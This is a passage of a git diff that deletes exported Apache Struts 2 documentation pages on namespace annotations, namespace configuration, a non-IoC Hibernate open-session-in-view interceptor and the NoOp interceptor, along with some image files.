-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="namespace-annotation.html">Namespace Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Namespace Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=68488">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=68488">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=68488">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=68488">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=68488">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=68488">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="NamespaceAnnotation-NamespaceAnnotation">Namespace Annotation</h1>
-
-<p>The <code>@Namespace</code> annotation allows the definition of an Action's namespace in the <code>Action</code> class rather than based on <a shape="rect" href="zero-configuration.html">Zero Configuration</a>'s conventions.</p>
-
-<h2 id="NamespaceAnnotation-Usage">Usage</h2>
-
-<p>This annotation is placed at the class level.</p>
-
-<h2 id="NamespaceAnnotation-Parameters">Parameters</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Name </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Type </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Required </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> value </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> String </p></td>< [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/namespace-configuration.html b/content/docs/namespace-configuration.html
deleted file mode 100644
index 6a5710f..0000000
--- a/content/docs/namespace-configuration.html
+++ /dev/null
@@ -1,207 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Namespace Configuration</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-elements.html">Configuration Elements</a>&nbsp;&gt;&nbsp;<a href="namespace-configuration.html">Namespace Configuration</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Namespace Configuration</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14276">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14276">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14276">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14276">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14276">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14276">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The namespace attribute subdivides action configurations into logical modules, each with its own identifying prefix. Namespaces avoid conflicts between action names. Each namespace can have its own "menu" or "help" action, each with its own implementation. While the prefix appears in the browser URI, the tags are "namespace aware", so the namespace prefix does not need to be embedded in forms and links.</p>
-
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Struts 2 Namespaces are the equivalent of Struts Action 1 modules, but more convenient and flexible.</p></div></div>
-
-<h2 id="NamespaceConfiguration-DefaultNamespace">Default Namespace</h2>
-
-<p>The default namespace is <code>""</code> - an empty string. The default namespace is used as a "catch-all" namespace. If an action configuration is not found in a specified namespace, the default namespace is also be searched. The local/global strategy allows an application to have global action configurations outside of the action element "extends" hierarchy.</p>
-
-<p>The namespace prefix can be registered with Java declarative security, to ensure only authorized users can access the actions in a given namespace.</p>
-
-<h2 id="NamespaceConfiguration-RootNamespace">Root Namespace</h2>
-
-<p>A root namespace ("/") is also supported. The root is the namespace when a request directly under the context path is received. As with other namespaces, it will fall back to the default ("") namespace if a local action is not found.</p>
-
-<h2 id="NamespaceConfiguration-NamespaceExample">Namespace Example</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;package name="default"&gt;
-    &lt;action name="foo" class="mypackage.simpleAction"&gt;
-        &lt;result name="success" type="dispatcher"&gt;greeting.jsp&lt;/result&gt;
-    &lt;/action&gt;
-
-    &lt;action name="bar" class="mypackage.simpleAction"&gt;
-        &lt;result name="success" type="dispatcher"&gt;bar1.jsp&lt;/result&gt;
-    &lt;/action&gt;
-&lt;/package&gt;
-
-&lt;package name="mypackage1" namespace="/"&gt;
-    &lt;action name="moo" class="mypackage.simpleAction"&gt;
-        &lt;result name="success" type="dispatcher"&gt;moo.jsp&lt;/result&gt;
-    &lt;/action&gt;
-&lt;/package&gt;
-
-&lt;package name="mypackage2" namespace="/barspace"&gt;
-    &lt;action name="bar" class="mypackage.simpleAction"&gt;
-        &lt;result name="success" type="dispatcher"&gt;bar2.jsp&lt;/result&gt;
-    &lt;/action&gt;
-&lt;/package&gt;
-</pre>
-</div></div>
-
-<h2 id="NamespaceConfiguration-HowtheCodeWorks">How the Code Works</h2>
-
-<p>If a request for <code>/barspace/bar.action</code> is made, the <code>/barspace</code> namespace is searched for the <code>bar</code> action. If found, the <code>bar</code> action is executed, else it will fall back to the default namespace. In the Namespace Example, the <code>bar</code> action does exist in the <code>/barspace</code> namespace, so the <code>bar</code> action will be executed, and if "success" is returned, the request will be forwarded to <code>bar2.jsp</code>.</p>
-
-<div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Falling Back to Foo</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>If a request is made to <code>/barspace/foo.action</code>, the namespace <code>/barspace</code> will be checked for action <code>foo</code>. If a local action is not found, the default namespace is checked. In the Namespace Example, there is no action <code>foo</code> in the namespace <code>/barspace</code>, therefore the default will be checked and <code>/foo.action</code> will be executed.</p></div></div>
-
-<p>In the Namespace Example, if a request for <code>moo.action</code> is made, the root namespace ('/') is searched for a <code>moo</code> action; if a root action is not found, the default namespace is checked. In this case, the <code>moo</code> action does exist and will be executed. Upon success, the request would be forwarded to <code>bar2.jsp</code>.</p>
-
-<div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Getting to the Root</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>If a request is made for <code>/foo.action</code>, the root <code>/</code> namespace will be checked. If <code>foo</code> is found, the root action will be selected. Otherwise, the framework will check the default namespace. In the Namespace Example, the <code>foo</code> action does not exist in the root namespace, so the default namespace is  checked, and the default <code>foo</code> action is executed.</p></div></div>
-
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">Namespaces are not a path!</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Namespace are not hierarchical like a file system path. There is one namespace level. For example if the URL <code>/barspace/myspace/bar.action</code> is requested, the framework will first look for namespace <code>/barspace/myspace</code>. If the action does not exist at <code>/barspace/myspace</code>, the search will immediately fall back to the default namespace <code>""</code>. The framework will not parse the namespace into a series of "folders". In the Namespace Example, the <co [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/non-ioc-version-of-opensessioninviewinterceptor.html b/content/docs/non-ioc-version-of-opensessioninviewinterceptor.html
deleted file mode 100644
index edd7957..0000000
--- a/content/docs/non-ioc-version-of-opensessioninviewinterceptor.html
+++ /dev/null
@@ -1,227 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Non-IoC version of OpenSessionInViewInterceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="non-ioc-version-of-opensessioninviewinterceptor.html">Non-IoC version of OpenSessionInViewInterceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Non-IoC version of OpenSessionInViewInterceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14036">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14036">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14036">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14036">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14036">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14036">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>Gary was so kind to provide us a non-IoC Hibernate 'Open Session in View'-interceptor. Rather than having XWork or Spring doing the dependency injection, he sets up the Hibernate Session himself.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-/*
-  * HibernateOpenSessionInViewInterceptor.java
-  *
-  * Created on March 18, 2006, 3:51 PM
-  *
-  * To change this template, choose Tools | Template Manager
-  * and open the template in the editor.
-  */
- 
-package edu.washington.javawebdevelopment.webwork.interceptor;
- 
-import com.opensymphony.xwork.ActionInvocation;
-import com.opensymphony.xwork.interceptor.AroundInterceptor;
-import edu.washington.javawebdevelopment.dao.DaoFactoryHibernate;
-import javax.servlet.ServletException;
-import org.hibernate.SessionFactory;
-import org.hibernate.StaleObjectStateException;
- 
-/**
-  *
-  * @author gary
-  */
-public class HibernateOpenSessionInViewInterceptor extends AroundInterceptor {
-     private SessionFactory hibernateSessionFactory;
- 
-     public void init() {
-         System.out.println("Initializing HibernateOpenSessionInViewInterceptor interceptor, obtaining Hibernate SessionFactory from DaoFactoryHibernate");
-         hibernateSessionFactory = DaoFactoryHibernate.getSessionFactory();
-     }
- 
-     public void destroy() {
-     }
- 
-     public void before(ActionInvocation invocation) throws Exception {
-         System.out.println("Starting a database transaction in the HibernateOpenSessionInViewInterceptor");
-         hibernateSessionFactory.getCurrentSession().beginTransaction();
-     }
- 
-     public void after(ActionInvocation invocation, String result) throws Exception {
-         // Commit and cleanup
-         try {
-             System.out.println("Committing the database transaction in the HibernateOpenSessionInViewInterceptor");
-             hibernateSessionFactory.getCurrentSession().getTransaction().commit();
-         } catch (StaleObjectStateException staleEx) {
-             System.err.println("This interceptor does not implement optimistic concurrency control!");
-             System.err.println("Your application will not work until you add compensation actions!");
-             // Rollback, close everything, possibly compensate for any permanent changes
-             // during the conversation, and finally restart business conversation. Maybe
-             // give the user of the application a chance to merge some if his work with
-             // fresh data... what you do here depends on your applications design.
-             throw staleEx;
-         } catch (Throwable ex) {
-             // Rollback only
-             ex.printStackTrace();
-             try {
-                 if (hibernateSessionFactory.getCurrentSession().getTransaction().isActive()) {
-                     System.out.println("Trying to rollback database transaction after exception");
-                     hibernateSessionFactory.getCurrentSession().getTransaction().rollback();
-                 }
-             } catch (Throwable rbEx) {
-                 System.err.println("Could not rollback transaction after exception! - " + rbEx);
-             }
- 
-             // Let others handle it... maybe another interceptor for exceptions?
-             throw new ServletException(ex);
-         }
-     }
-}
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/noop-interceptor.html b/content/docs/noop-interceptor.html
deleted file mode 100644
index aa15a42..0000000
--- a/content/docs/noop-interceptor.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>NoOp Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="noop-interceptor.html">NoOp Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">NoOp Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=69407923">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=69407923">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=69407923">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=69407923">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=69407923">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=69407923">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><code>org.apache.struts2.interceptor.NoOpInterceptor</code> is in the&#160;<code>emptyStack</code> and it performs no computation, it is there to allow create an empty stack that can be used with actions that do not required receiving request parameters or are fully stateless, i.e. when producing a JSON response on public endpoints.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/nutshell.data/nutshell.GIF b/content/docs/nutshell.data/nutshell.GIF
deleted file mode 100644
index f2b3e36..0000000
Binary files a/content/docs/nutshell.data/nutshell.GIF and /dev/null differ
diff --git a/content/docs/nutshell.data/struts2-arch.png b/content/docs/nutshell.data/struts2-arch.png
deleted file mode 100644
index a9979bf..0000000
Binary files a/content/docs/nutshell.data/struts2-arch.png and /dev/null differ
diff --git a/content/docs/nutshell.html b/content/docs/nutshell.html
deleted file mode 100644
index 36c354f..0000000
--- a/content/docs/nutshell.html
+++ /dev/null
@@ -1,264 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
